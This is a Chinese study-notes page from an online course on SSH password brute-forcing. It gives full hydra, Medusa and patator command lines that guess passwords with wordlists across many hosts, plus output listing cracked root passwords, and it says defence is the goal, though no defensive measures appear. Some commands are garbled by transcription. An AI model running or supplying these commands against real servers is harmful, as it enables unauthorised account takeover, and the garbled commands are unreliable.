SSH 密码暴力破解及防御实战_1 | 学习笔记

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 快速学习 SSH 密码暴力破解及防御实战_1

开发者学堂课程【网络安全攻防 - Web渗透测试SSH 密码暴力破解及防御实战_1】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9929


SSH 密码暴力破解及防御实战_1


内容介绍

一、hydra [海德拉]

二、Medusa [美杜莎]

三、patator

四、BrutesPray

 

内容简介

所谓的暴力破解更多指的是密码字典,不断去猜测不断去尝试密码,那该如何防御呢?除了密码设置的安全一点,密码设置是一个伪命题,根本设置不到安全,因此了解了暴力破解机制之后,之后就是重点去了解如何防止暴力破解,ssh 是最需要被防御的对象,一旦被攻击之后,系统就被别人接手了,下面介绍几款工具,目的不是暴力破解,是看一下暴力破解的机制,同时落脚点应该是在怎么去防御上面。

这里的破解分为在线破解和离线破解,什么叫在线呢?ssh 服务是开着的,fdb 开着的,通过不断的尝试来进行探测破解,对于这种在线的服务,尝试这种方式叫在线破解。离线破解就是把密码文件弄下来,比如 shuttle 文件,通过md5的这些网站或者工具去破解,不用连接,直接到本地进行破解。现在研究的是在线。

首先有好几个工序是可以直接拿来用的,把 kail 恢复到0环境,快速启动,用到的这些工具都是在 kail 当中,百分之八九十都是有的,一部分需要再安装。


一、hydra [海德拉]

1背景

1)海徳拉( Hydra) : 希脂神活中的九尖蛇,是西方的神话生物,在古希腊神话出现最为频繁,传说他拥有九颗头,其中一颗头钥匙被斩断,立即又会生出两颗头来。

2hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议在线密码破解,sshfdb,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。暴力破解就是不断是猜测不断是去尝试密码。

2、指定用户破解

1Examples:

hydra -l user -P passlist.txt ftp://192.168.0.1

使用一个用户名叫 user,密码就在 passlist.txt 字典里面,不断的使用用户名,不断的用字典文件里的密码破解,暴力破解。

hydra -L userlist.txt -p defaultpw imap://192.168.0. 1/PLAIN

l login,后面跟的是一个文件,也叫字典,因为 fdb 账号不一定是 user 账号,可能也有别的账号,就像 ssh 去访问一个别的机器,它未必用的就是 root,可能还有别的,有密码的字典,用户名的账号的字典,都有可能,p password,小 p 后面跟的是指定的密码,大 p 后面跟的是字典文件,后面破解的是 imap 邮箱的账号。还有 pop3sftp

hydra -C defaults.txt -6

pop3s://[ 2001 :db8::1] :143/TLS:DIGEST-MDS

hydra -l admin -p password ftp://[192.168.0.0/24]/

hydra -L logins.txt -P pws.txt -M targets.txt ssh

用户和密码都是字典,没有说是哪个机器,暴力破解 targets.txt 这里面所包含的主机的 ssh,它不会去破解某一个机器,首先它会扫描 c 段,扫描所在某个网站的 c 段,哪些机器,20号端口有没有开着,扫描扫到50个开着的 ssh,然后就会去破解一群机器的 ssh

root@kali:~# hydra -l root -P pass.dic 192.168.106.134 ssh

l是用户名,后面跟主机和服务

2Options:

-R  restore a previous aborted/crashed session

-I  gnore an existing restore file (don't wait 10 seconds )

-S  perform an SSL connect

-s PORTif the service is on a different default portdefine it here

-l LOGIN or -L FILE login with LOGIN name or load several logins from FILE

登陆的用户名,-L 指定一个文件

-p PASSor -P FILE try password PASS or load several passwords from FILE

-p 密码和密码文件

-x MIN: MAX : CHARSET password bruteforce generation type "-x -h" to get help

-y  disable use of symbols in bruteforcesee above

-e nsr try "n" null password "s" login as pass and/or "r" reversed login

-e n 表示是不是空密码

-u loop around users not passwords (effective! implied with -x)

注意这个不是用户

-C FILE colon sepa rated"login:pass" format instead of -L/-P options

-M FILE list of servers to attack one entry per line ':' to specify port

-M 列出一个服务的攻击或者是列表

-o FILE write found login/password pairs to FILE instead of stdout

-o 发现用户名和密码是一对写到一个标准的文件里面

-b FORMAT specify the format for the -0 FILE: text(default) json jsonv1

-f/-F exit when a login/pass pair is found (-M: -f per host -F global)

-t TASKS run TASKS number of connects in parallel per target (default: 16)

(3)演示,就把密码写在一个文件里面,创建一个 vim passlist.txt

123456

admin

111

redhat

dengxin

再随便写一些错误的密码

Ssss

yuyeyeye

Iudududu

qwert

123

输入vim passlist.txt

Root

admin

jack

alice

zhuzhuxia

3、用户列表破解

root@kali:~# hydra -L userlist.txt -P passlist.txt -M hoststxt ssh -o -hydra . ok

-L 用户名,密码列表,主机列表,-o 输出

输入10.30.162.62

10.30.162.163

10.30.162.142

10.30.162.16

用法很简单,直接指定62这台机器,就可以很快的得到账号和密码。

输入# hydra -L userlist. txt -P passlist. txt -M hostlist. txt ssh -O ssh-hydra. txt

演示结果如下:

image.png

这样就可以把输出的结果输入到文件里面去,尝试量是很大的。

演示结果如下:

image.png


二、Medusa [美杜莎]

1、背景

(1)美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面獠牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为美杜莎和智慧女神雅典娜比美,雅典娜怒之下将梅杜莎的头发变成毒蛇,变成面目丑陋的怪物。

(2)Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是, medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。

2、语法参数

Medusa [-h host | -H file] [-u username|-U file] [-p password|-P file][Cfile]Mmodule[OPT]

-h [TEXT] 目标主机名称或者 IP 地址

-H [FILE] 包含目标主机名称或者 IP 地址文件

-u [TEXT] 测试的用户名

-U [FILE] 包含测试的用户名文件

-P [TEXT] 测试的密码

-P [FILE] 包含测试的密码文件

-C [FILE] 组合条目文件

-0 [FILE] 日志信息文件

-e [n/s/ns]  n 代表空密码,s 代表为密码与用户名相同

-M [TEXT] 模块执行名称,海得拉主机文件里面就写了一个 IP 值,

-M hostlist. txt ssh 是这么指的,其实不用这么指,可以直接写成 ftp://[192.168.0.0/24]这种形式,这样后面就不用再跟 ssh,ssh 是模块,就不用在后面加模块的名字,走了两步,像 ftp://192.168.0.1写到文件列表里面去就可以,M 是模块,跟美杜莎语法参数是一样的。

-m [TEXT] 传递参数到模块

-d 显示所有的模块名称

-n [NUM] 使用非默认 Tcp 端口

-S 启用 SSL

-r [NUM] 重试间隔时间,默认为3秒

-t [NUM] 设定线程数量

-T同时测试的主机总数

-L 并行化,每个用户使用一个线程

-f 在任何主机上找到第一个账号/密码后,停止破解

-F 在任何主机上找到第一个有效的用户名/密码后停止审计

-q 显示模块的使用信息

-V [NUM] 详细级别(0-6 )

-W [NUM] 错误调试级别(0-10 )

-V 显示版本

-Z [TEXT] 继续扫描上一次

3、破解 SSH 密码

(1)root@kali:~# medusa -M ssh -h 192.168.106.134 -u root -P passlist. Txt  

美杜莎,-M 模块,-h 后面加上目标主机,-u 用户名,-p 密码

演示代码:

root@kali:~# medusa -M ssh -u root -P passlist. txt -H hostlist. txt

短的代码是成功的,长的代码是不成功的,

ACCOUNT FOUND: [ssh] Host: 10.30.162.163 User: root Password: dengxin [ SUCCESS]

(2)root@kali:~# medusa-M ssh -H hostlist.txt -U userlist.txt -P passlist. Txt

(3)root@kali:~# medusa -M ssh -h 192.168.106.134 -U userlist.txtKR passlist.txt -F

192.168.106.134 User: admin Password: 123  [ SUCCESS ]

屏蔽不重要,重要的是输出,屏蔽了也看不出来,没有限程数,导致输出很慢,输出结果如下:

# Medusa v.2.2 (2018- 11-21 22:32:20)

# medusa -M ssh -u root -P passlist. txt -H hostlist. txt -0 ssh- medusa. txt

ACCOUNT FOUND :

[ssh] Host: 10.30.162.62 User:m root Password: redhat

[SUCCESS ]

ACCOUNT FOUND:

[ssh] Host: 10.30.162.163 User: root Password:  dengxin [ SUCCESS ]

ACCOUNT FOUND:

[ssh] Host: 10.30.162. 142 User: root Password: qwert [ SUCCESS ]

# Medusa has finished (2018-11-21 22:33: 11)

如果把用户名换成大 U,就会输出很多。

(4)root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -0 ssh.log


三、patator  

patator,强大的命令行暴力破解器

1、可用模块

root@kali:-# patator -h   -h 就是可用模块

Patator v0.6 (http://code . google . com/ p/patator/)

Usage: patator module --help

Available modules:

ftp_ login : Brute-force FTP

暴力破解 FTP

ssh_ login :Brute-force SSH

暴力破解SSH

telnet_ login : Brute- force Telnet

smtp_ login:Brute- force SMTP

smtp_ vrfy:Enumerate valid users using SMTP VRFY

smtp_ rcpt:Enumerate valid users using SMTP RCPT TO

Finger_ lookup : Enumerate valid users using Finger

http_ fuzz:Brute-force HTTP

pop_ login:Brute-force POP3

pop_ passd:Brute force poppassd (http:/ /netwinsite . com/poppassd/)

imap_ login:Brute-force IMAP4

ldap_ login : Brute-force LDAP

smb_login:Brute-force SMB

smb_lookupsid : Brute-force SMB SID- lookup

rlogin_ login : Brute- force rlogin

vmauthd_login : Brute-force VMware Authent ication Daenon

mssql_ login:Brute-force MSSQL

oracle_ login :Brute-force 0racle

mysql_ login:Brute-force MySQL

mysql query:Brute- force MySQL queries

pgsql_ login:Brute-force PostgreSQL

vnc_ login:Brute-force VNC

dns forward: Forward lookup names

2、破解 SSH 密码

root@kali:~# patator ssh_ login --help

想知道 ssh 怎么用,输入 help

Patator v0.6 (http://code. google. com/p/patator/)

Usage: ssh_ login <module-options ...> [global-options ...]

Examples:

ssh_ login host=10.0.0.1 user=root password=FILEO 0=passwords.txt -x

ssh_ login 是模块的名字

ignore:mesg-' Authentication failed. "

前面加软件后面加模块的名字

root@kali:~# patator ssh_ login host =192.168.106.134 user= root password=FILE00=passlist. txt

root@kali:~# patator ssh_ login host=192.168. 106.134user=rootpassword=FILEØ0=passlist.txt \-x ignore:mesg=" Authentication failed. '

root@kali:~# patator ssh_ loginhost=192.168.106.134user=FILE11=userlist.txtpassword=FILEØ

Ø=passlist.txt -x ignore:mesg- ' Authentication failed . '

root@kali:~# patator ssh_ login host-192 .[68.106. 134 user-FILEØ 0=userlist. txt password-FILE11=passlist.txt -x ignore :mesg=' Authentication failed.

演示:

输入 root@kali:~# patator ssh_ login host =10.30.162.62 user= rootpassword=FILE00=passlist. txt

演示结果如下,第一个成功了,后面都是失败的,failed 是失败的。

image.png

这是密码的字典,换成用户名的字典。输入 root@kali:~# patator ssh_ login host=10.30.162.62 user=FILE0 0=userlist. txt password=FILE1 1=passlist. Txt

这样用户名在前面,密码在后面演示结果如下。

image.png

如果不想看到失败的结果,可以输入-x ignore :mesg=' Authentication failed 忽略它。

演示结果如下。

image.png


四、BrutesPray

1、背景:

BruteSpray 是一款基于 nmap 扫描输出的 gnmap/XML 文件,自动调用 Medusa 对服务进行爆破(Medusa 美杜莎是一款端口爆破工具,速度比 Hydra 九头蛇快)。

2、Kali 端安装:

root@kali:~# apt-get update

root@kali:~# apt-get install brutespray

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
域名解析 网络协议
阿里云DNS常见问题之公共dns的doh解析有倍率如何解决
阿里云DNS(Domain Name System)服务是一个高可用和可扩展的云端DNS服务,用于将域名转换为IP地址,从而让用户能够通过域名访问云端资源。以下是一些关于阿里云DNS服务的常见问题合集:
|
Web App开发 编解码 监控
【开源视频联动物联网平台】推流,拉流,转发,转码?
【开源视频联动物联网平台】推流,拉流,转发,转码?
746 2
|
关系型数据库 API 数据库
盘点10个.NetCore实用的开源框架项目
盘点10个.NetCore实用的开源框架项目
2570 0
盘点10个.NetCore实用的开源框架项目
|
17天前
|
机器学习/深度学习 人工智能 物联网
# 大模型优化与压缩技术:2025年的实践与突破
2025年,随着大语言模型的规模和复杂度不断提升,模型优化与压缩技术已成为AI产业落地的关键瓶颈和研究热点。根据最新统计,顶级大语言模型的参数规模已突破万亿级别,如DeepSeek-R1模型的6710亿参数规模,这带来了前所未有的计算资源需求和部署挑战。在这种背景下,如何在保持模型性能的同时,降低计算成本、减少内存占用、提升推理速度,已成为学术界和产业界共同关注的核心问题。
|
4月前
|
数据采集 弹性计算 供应链
阿里云服务器包年包月、按量付费和抢占式实例有什么区别?如何选择?
阿里云服务器ECS提供三种付费类型:包年包月、按量付费和抢占式实例。包年包月适合长期稳定使用,价格优惠;按量付费灵活方便,按小时结算,适用于短期或突发需求;抢占式实例价格最低(可省90%),但可能被系统释放,适合无状态应用如大数据分析、科学计算等。选择时根据业务场景决定:稳定需求选包年包月,动态需求选按量付费,低成本无状态应用选抢占式实例。
275 42
|
前端开发 测试技术 UED
使用Selenium WebDriver模拟用户操作防止滑动条验证
在进行Web自动化测试时,经常会遇到各种前端验证机制,如滑动条验证,这些机制设计用来防止自动化脚本模拟用户行为。在本文中,我们将探讨如何使用Selenium WebDriver来模拟用户操作,以规避这些验证机制。
|
网络协议 Windows
Windows Server 2019 Web服务器搭建
Windows Server 2019 Web服务器搭建
499 0
|
Ubuntu 关系型数据库 MySQL
Ubuntu 安装 MySQL 5.7
Ubuntu 安装 MySQL 5.7
522 0
|
安全 网络协议 前端开发
Windows下nmap命令及Zenmap工具的使用方法
【7月更文挑战第28天】zenmap是一个开放源代码的网络探测和安全审核的工具,它是nmap安全扫描工具的图形界面前端,它可以支持跨平台。使用zenmap工具可以快速地扫描大型网络或单个主机的信息。如扫描主机提供了哪些服务,使用的操作系统等。
1461 8
|
Linux 网络安全 数据安全/隐私保护